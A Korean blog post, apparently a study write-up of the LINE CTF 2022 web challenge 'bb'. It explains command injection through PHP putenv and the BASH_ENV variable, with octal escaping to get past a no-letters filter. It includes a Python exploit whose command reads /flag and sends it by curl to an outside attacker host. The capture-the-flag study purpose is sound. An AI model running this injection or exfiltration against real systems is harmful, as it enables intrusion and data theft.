-
[Study] LINE CTF 2022 bb WriteupCTF/LINE CTF 2022 2022. 3. 29. 07:29
warmup 태그에 그렇지 않은 솔브수이다. 사실 웹보다는 misc에 대한 지식이 부족해서 못풀었던 문제이지 싶어 반대로 풀이자분들께서 작성해주신 Writeup 을 기반으로 거꾸로 공부해보았다.(출처 LINE CTF 2022 Discord)
우선, 주어진 페이지에 접근해보면 다음과 같은 php 소스가 주어진다.
<?php error_reporting(0); function bye($s, $ptn){ if(preg_match($ptn, $s)){ return false; } return true; } foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { putenv("{$k}={$v}"); } } system("bash -c 'imdude'"); foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i")) { putenv("{$k}"); } } highlight_file(__FILE__); ?>
내용은 env 파라미터를 배열 형식으로 입력받아 key, value로 구분 후 이를 putenv한 후 imdude 명령어를 수행하는 것이다.
우선, 파라미터를 문자열이 아닌 배열로 전송하는 방식은 아래 레퍼런스를 참고하면 된다.
https://blog.stackframe.dev/12
[PHP] GET, POST로 배열 전달 - blog.stackframe.dev
PHP에서는 GET이나 POST 인자에 문자열이 아닌 배열이 들어올 수 있다. 매개변수 뒷부분에 []를 사용하면 해당 인자는 배열로 만들어지게 된다. 간단하게 아래의 예시를 보자:https://example.org/?test[]=ar
blog.stackframe.dev
putenv 명령은 해당 요청에 한해 환경변수를 추가 할 수 있는 명령어라고 한다.
https://php.365ok.co.kr/function.putenv.php
PHP 설명서
php.net 한글서비스
php.365ok.co.kr
그리고 가장 중요한 제약사항으로, key에는 = 를 쓸 수 없고 value에는 알파벳을 사용 할 수 없다.
문제 코드에서 환경 변수 추가 후 bash - c 'imdude' 를 수행하길래 환경 변수를 통해 imdude라는 명령어를 정의해야한다고 생각했다. 하지만 해당 서비스는 root계정이 아닌 www-data 계정권한으로 실행되고 있어서 과연 이게 가능한 방식인가? 라는 의구심과 함께 해결책을 찾지 못했었다.
핵심은 이랬다. BASH_ENV 라는 환경변수가 ` `(백쿼터) 으로 둘려쌓여있으면, bash가 어떤 형식으로 호출되던 해당 백쿼터 안의 명령어가 수행된다고 한다.
실제 문제 환경의 쉘에서 테스트를 해보았다.
실제로 BASH_ENV=`whoami` 가 환경변수에 정의되면 bash -c 'imdude' 라는 임의의 bash가 실행되더라도
whoami 명령어의 결과 값인 root 라는 명령어를 실행하려 했음을 알 수 있다. (현재 쉘의 위치가 / 였기 때문에 root가 명령어가 아닌 디렉토리라는 에러 메시지)
또한 아래 레퍼런스를 참고하면 8진수를 활용하여 알파벳 없이 우리가 원하는 명령어를 수행 할 수 있다.
https://threadreaderapp.com/thread/1023682809368653826.html
Thread by @DissectMalware: " using octal vals $'\143\141\164' really gnu.org/software/bash/… "Words of the form $'string' are
Thread by @DissectMalware: " using octal vals $'\143\141\164' really gnu.org/software/bash/… "Words of the form $'string' are treated speciaring, with backslash-escaped characters replaced as specified by the ANSI C […]" #linux #bash #obfuscation #empt
threadreaderapp.com
이 또한, 로컬에서 테스트 해보았다.
따라서 플래그를 얻기 위해서는 ?env[BASH_ENV]=~~~ 와 같이 BASH_ENV 환경변수를 putenv를 통해 정의하되 그 내용을 8진수 로 정의해주면 될 것이다.
명령어는 플래그 파일을 읽어 공격자 서버로 전송해주는 내용이면 된다.
import string import requests cmd = 'cat /flag | curl -d @- 118.32.182.8:8888' o = '' for c in cmd: if c in string.ascii_letters: o += f"$'\\{oct(ord(c))[2:]}'" else: o += c print(o) r = requests.get(f'http://34.84.151.109/?env[BASH_ENV]=`{o}`') print(r.text)
FLAG = LINECTF{well..what_do_you_think_about}
* Other References :
https://gist.github.com/mdsnins/da12a817fe18f3f3fb26663c4ceda0af
[LINE CTF 2021] bb
[LINE CTF 2021] bb. GitHub Gist: instantly share code, notes, and snippets.
gist.github.com
https://adragos.ro/line-ctf-2022/#bb
LINE CTF 2022
Write-ups for the web challenges we've solved at LINE CTF 2022, finished in 8th place with team WreckTheLine
adragos.ro
반응형'CTF > LINE CTF 2022' 카테고리의 다른 글
[Study] LINE CTF 2022 Memo Drive Writeup (0) 2022.03.28 [Clear] LINE CTF 2022 gotm Writeup (0) 2022.03.28